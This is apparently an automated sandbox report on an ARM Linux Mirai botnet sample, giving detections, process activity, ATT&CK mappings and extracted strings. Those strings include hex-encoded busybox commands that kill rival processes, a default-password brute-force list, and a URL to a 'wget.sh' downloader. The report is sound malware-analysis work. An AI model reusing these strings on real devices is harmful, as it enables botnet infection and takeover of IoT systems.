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Linux Analysis Report
arm.elf

Overview

General Information

Sample name:	arm.elf
Analysis ID:	1654277
MD5:	507b4c74da3fad85416d2a28567f657b
SHA1:	0863484b42a1db067f96f8146a44cf50df754f11
SHA256:	21594dcba1920918f6964523876432e584f5a72b404a6b344537014fc694ffe6
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	56
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Enumerates processes within the "proc" file system

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings indicative of password brute-forcing capabilities

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1654277
Start date and time:	2025-04-02 08:37:20 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/4@2/0

Runtime Messages

Command:	/tmp/arm.elf
PID:	5513
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	For God so loved the world
Standard Error:

Process Tree

system is lnxubuntu20

arm.elf (PID: 5513, Parent: 5436, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm.elf

arm.elf New Fork (PID: 5523, Parent: 5513)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
arm.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5513.1.00007f2a00017000.00007f2a0002f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5523.1.00007f2a00017000.00007f2a0002f000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: arm.elf	Virustotal: Detection: 45%			Perma Link
Source: arm.elf	ReversingLabs: Detection: 44%

Source: /tmp/arm.elf (PID: 5523)

Socket: 127.0.0.1:22448

Jump to behavior

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: arm.elf, 5513.1.00007f2a00030000.00007f2a00039000.rw-.sdmp, arm.elf, 5523.1.00007f2a00030000.00007f2a00039000.rw-.sdmp

String found in binary or memory: http://17365637265742070617373776F7264206D656D6F721/t/wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x77\x68\x69\x6c\x65\x20\x72\x65\x61\x64\x20\x2d\x72\x20\x6c\x3b\x20\x64\x6f\x20\x6d\x70\x3d\x24\x28\x65\x63\x68\x6f\x20\x22\x24" > kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6c\x22\x20\x7c\x20\x61\x77\x6b\x20\x27\x7b\x70\x72\x69\x6e\x74\x20\x24\x32\x7d\x27\x20\x7c\x20\x73\x65\x64\x20\x27\x73\x2f\x5c" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x5c\x30\x34\x30\x2f\x20\x2f\x67\x27\x29\x3b\x20\x63\x61\x73\x65\x20\x22\x24\x6d\x70\x22\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x5b\x30\x2d\x39\x5d\x2a\x29\x20\x70\x69\x64\x3d\x24\x7b\x6d\x70\x23\x2f\x70\x72\x6f\x63\x2f\x7d\x3b\x20\x5b\x20\x2d\x64\x20\x22" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x2f\x70\x72\x6f\x63\x2f\x24\x70\x69\x64\x22\x20\x5d\x20\x26\x26\x20\x6b\x69\x6c\x6c\x20\x2d\x39\x20\x22\x24\x70\x69\x64\x22\x20" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26\x26\x20\x75\x6d\x6f\x75\x6e\x74\x20\x22\x24\x6d\x70\x22\x20\x32\x3e\x2f\x64" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x3b\x20\x65\x73\x61\x63\x3b\x20\x64\x6f\x6e\x65\x20\x3c\x20\x2f\x70\x72\x6f\x63\x2f\x6d\x6f\x75" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6e\x74\x73" >> kmount
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x66\x6f\x72\x20\x70\x69\x64\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f\x5b\x30\x2d\x39\x5d\x2a\x3b\x20\x64\x6f\x20\x70\x69\x64\x5f" > swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6e\x75\x6d\x3d\x22\x24\x7b\x70\x69\x64\x23\x23\x2a\x2f\x7d\x22\x3b\x20\x69\x66\x20\x5b\x20\x2d\x72\x20\x22\x24\x70\x69\x64\x2f" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6d\x61\x70\x73\x22\x20\x5d\x3b\x20\x74\x68\x65\x6e\x20\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x3d\x74\x72\x75\x65\x3b\x20\x77" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x68\x69\x6c\x65\x20\x49\x46\x53\x3d\x20\x72\x65\x61\x64\x20\x2d\x72\x20\x6c\x69\x6e\x65\x3b\x20\x64\x6f\x20\x63\x61\x73\x65\x20" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x22\x24\x6c\x69\x6e\x65\x22\x20\x69\x6e\x20\x2a\x22\x2f\x6c\x69\x62\x2f\x22\x2a\x7c\x2a\x22\x2f\x6c\x69\x62\x36\x34\x2f\x22\x2a" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x7c\x2a\x22\x2e\x73\x6f\x22\x2a\x29\x20\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x3d\x66\x61\x6c\x73\x65\x3b\x20\x62\x72\x65\x61" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6b\x3b\x3b\x20\x65\x73\x61\x63\x3b\x20\x64\x6f\x6e\x65\x20\x3c\x20\x22\x24\x70\x69\x64\x2f\x6d\x61\x70\x73\x22\x3b\x20\x69\x66" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x20\x5b\x20\x22\x24\x73\x75\x73\x70\x69\x63\x69\x6f\x75\x73\x22\x20\x3d\x20\x74\x72\x75\x65\x20\x5d\x3b\x20\x74\x68\x65\x6e\x20" >> swan
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne "\x6b\x69\x6c\x6c\x20\x2d\x39\x20\x22\x24\x70\x69\x64\x5f\x6e\x75\x6d\x22\x3b\x20\x66\x69\x3b\x20\x66\x69\x3b\x20\x64\x6f\x6e\x65" >> swan
Source: Initial sample	String containing 'busybox' found: sh kmount/bin/busybox echo -ne "\x66\x6f\x72\x20\x70\x69\x64\x20\x69\x6e\x20\x2f\x70\x72\x6f\x63\x2f\x5b\x30\x2d\x39\x5d\x2a\x3b\x20\x64\x6f\x20\x70\x69\x64\x5f" > swan

Source: Initial sample	String containing potential weak password found: 12345
Source: Initial sample	String containing potential weak password found: 54321
Source: Initial sample	String containing potential weak password found: 654321
Source: Initial sample	String containing potential weak password found: admin1234
Source: Initial sample	String containing potential weak password found: administrator
Source: Initial sample	String containing potential weak password found: supervisor
Source: Initial sample	String containing potential weak password found: password
Source: Initial sample	String containing potential weak password found: default
Source: Initial sample	String containing potential weak password found: guest
Source: Initial sample	String containing potential weak password found: service
Source: Initial sample	String containing potential weak password found: support

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/4@2/0

Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/3760/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/3761/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/1583/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/2672/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/3759/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/1577/fd	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/917/fd	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/1593/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/1593/fd	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/3094/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/3094/fd	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/3406/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/3406/fd	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/1/maps	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/1589/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/1589/fd	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/1588/fd	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/3402/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/3402/fd	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/800/fd	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/3762/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/801/fd	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/803/fd	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/806/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/806/fd	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/807/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/807/fd	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/928/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/928/fd	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/3420/fd	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/490/fd	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/arm.elf (PID: 5513)	File opened: /proc/252/cmdline	Jump to behavior

Source: /tmp/arm.elf (PID: 5513)

Queries kernel information via 'uname':

Jump to behavior

Source: arm.elf, 5523.1.00007f2a00030000.00007f2a00039000.rw-.sdmp	Binary or memory string: vmwarem
Source: arm.elf, 5513.1.0000555720c3e000.0000555720dae000.rw-.sdmp, arm.elf, 5523.1.0000555720c3e000.0000555720dae000.rw-.sdmp	Binary or memory string: WU!/etc/qemu-binfmt/arm
Source: arm.elf, 5523.1.00007f2a00030000.00007f2a00039000.rw-.sdmp	Binary or memory string: vmware
Source: arm.elf, 5523.1.00007ffcec192000.00007ffcec1b3000.rw-.sdmp	Binary or memory string: WUqemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: arm.elf, 5513.1.00007f2a00030000.00007f2a00039000.rw-.sdmp, arm.elf, 5523.1.00007f2a00030000.00007f2a00039000.rw-.sdmp	Binary or memory string: qemu-arm
Source: arm.elf, 5513.1.00007ffcec192000.00007ffcec1b3000.rw-.sdmp	Binary or memory string: WU/tmp/qemu-open.zfkNJ4:
Source: arm.elf, 5513.1.00007ffcec192000.00007ffcec1b3000.rw-.sdmp, arm.elf, 5523.1.00007ffcec192000.00007ffcec1b3000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm.elf
Source: arm.elf, 5513.1.00007ffcec192000.00007ffcec1b3000.rw-.sdmp	Binary or memory string: /tmp/qemu-open.zfkNJ4
Source: arm.elf, 5513.1.00007f2a00030000.00007f2a00039000.rw-.sdmp, arm.elf, 5523.1.00007f2a00030000.00007f2a00039000.rw-.sdmp	Binary or memory string: qemu-arm)Zm6vnZ5U4mf8vApyWcDwXR44ZAkzslsN)
Source: arm.elf, 5513.1.0000555720c3e000.0000555720dae000.rw-.sdmp, arm.elf, 5523.1.0000555720c3e000.0000555720dae000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: arm.elf, 5513.1.00007ffcec192000.00007ffcec1b3000.rw-.sdmp, arm.elf, 5523.1.00007ffcec192000.00007ffcec1b3000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: arm.elf, 5523.1.00007ffcec192000.00007ffcec1b3000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: arm.elf, type: SAMPLE
Source: Yara match	File source: 5513.1.00007f2a00017000.00007f2a0002f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5523.1.00007f2a00017000.00007f2a0002f000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: arm.elf, type: SAMPLE
Source: Yara match	File source: 5513.1.00007f2a00017000.00007f2a0002f000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5523.1.00007f2a00017000.00007f2a0002f000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	1 Brute Force	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Download Video

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
arm.elf	45%	Virustotal		Browse
arm.elf	44%	ReversingLabs	Linux.Backdoor.Gafgyt

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://17365637265742070617373776F7264206D656D6F721/t/wget.sh	arm.elf, 5513.1.00007f2a00030000.00007f2a00039000.rw-.sdmp, arm.elf, 5523.1.00007f2a00030000.00007f2a00039000.rw-.sdmp	false		high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	FBI.arm.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	FBI.sh4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	FBI.arm7.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	FBI.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	FBI.ppc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	FBI.arm6.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.24
	mpsl.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	rjfe686.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	arm.elf	Get hash	malicious	Mirai	Browse	162.213.35.25

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/tmp/qemu-open.7dqzn5 (deleted)

Download File

Process:	/tmp/arm.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	3.3927474104487847
Encrypted:	false
SSDEEP:	3:Tg7G:Tgy
MD5:	060C950602AE5DFAF583473721C0D328
SHA1:	91D13B439729088DC17F1E0519970D82C56F2B07
SHA-256:	F8D4586FDF6230A2D5F431EF44BABDF37F6D7CEDBB3560702B0DC8493DD44EE3
SHA-512:	000D50E0A5736B0AB3B1BF61F55911914808FA197365B10F61F24096E2959ADAC2C3FF0D9ED226AD99934093F9FDD1C7035A22EEB5091DF75402A0A26E7A84AC
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/arm.elf.

/tmp/qemu-open.8KVpc5 (deleted)

Download File

Process:	/tmp/arm.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	353
Entropy (8bit):	3.775275696911726
Encrypted:	false
SSDEEP:	6:NgDFQX6/VUd/vYDFk/I6/V/3VVyAb/rVmsVot/VOArB/VH:NY2rdHQe/I4VIAbyl
MD5:	54673D84CC9EC915A56F20E1452C10D1
SHA1:	DDBE06D36AE28FD7C1D435C8F3D193E972711463
SHA-256:	0A2A6CF760635B5E103A87225FDBF3BC1E904BC8B0B4A07B8810DA1FDC262A6D
SHA-512:	49E6D382C5FD5027E2A686A17B1199416096BD53B0A45EE5F120E5C46D974CAD53675376DA829A861139ACC54142EC7F9A20BAA83726E0ACC87EB080072361B6
Malicious:	false
Reputation:	low
Preview:	8000-20000 r-xp 00000000 fd:00 531606 /tmp/arm.elf.20000-21000 rw-p 00018000 fd:00 531606 /tmp/arm.elf.21000-2a000 rw-p 00000000 00:00 0 .ff7ee000-ff7ef000 r--p 00000000 fd:00 793309 /usr/lib/x86_64-linux-gnu/libm-2.31.so.ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

/tmp/qemu-open.sMTxx2 (deleted)

Download File

Process:	/tmp/arm.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	3.3927474104487847
Encrypted:	false
SSDEEP:	3:Tg7G:Tgy
MD5:	060C950602AE5DFAF583473721C0D328
SHA1:	91D13B439729088DC17F1E0519970D82C56F2B07
SHA-256:	F8D4586FDF6230A2D5F431EF44BABDF37F6D7CEDBB3560702B0DC8493DD44EE3
SHA-512:	000D50E0A5736B0AB3B1BF61F55911914808FA197365B10F61F24096E2959ADAC2C3FF0D9ED226AD99934093F9FDD1C7035A22EEB5091DF75402A0A26E7A84AC
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/arm.elf.

/tmp/qemu-open.zfkNJ4 (deleted)

Download File

Process:	/tmp/arm.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	3.3927474104487847
Encrypted:	false
SSDEEP:	3:Tg7G:Tgy
MD5:	060C950602AE5DFAF583473721C0D328
SHA1:	91D13B439729088DC17F1E0519970D82C56F2B07
SHA-256:	F8D4586FDF6230A2D5F431EF44BABDF37F6D7CEDBB3560702B0DC8493DD44EE3
SHA-512:	000D50E0A5736B0AB3B1BF61F55911914808FA197365B10F61F24096E2959ADAC2C3FF0D9ED226AD99934093F9FDD1C7035A22EEB5091DF75402A0A26E7A84AC
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/tmp/arm.elf.

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), dynamically linked, stripped
Entropy (8bit):	6.1778845747217535
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	arm.elf
File size:	99'528 bytes
MD5:	507b4c74da3fad85416d2a28567f657b
SHA1:	0863484b42a1db067f96f8146a44cf50df754f11
SHA256:	21594dcba1920918f6964523876432e584f5a72b404a6b344537014fc694ffe6
SHA512:	2b173ded44ac917cf4cfd576025a2a944e2fcbd82226c0b9bcd5f522f43ec37593c9c1cf8570d794170f383b2104670fe34f2cba2700184f7d9b2b7cdaba07a5
SSDEEP:	3072:EqeiS14cqSuJd/oqiAD0u87jy0JpNRvO+Sl0FzOs41WldN:EPiSWHhJd9xF0jvzQwp41Wp
TLSH:	38A3FA99B8919A57C5C506BFFE1F828C773653E8D2DB7203CE14AF21378B92A093B151
File Content Preview:	.ELF...a..........(.........4...8.......4. ...(.....................h}..h}...............................h................................................-...L."....S..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
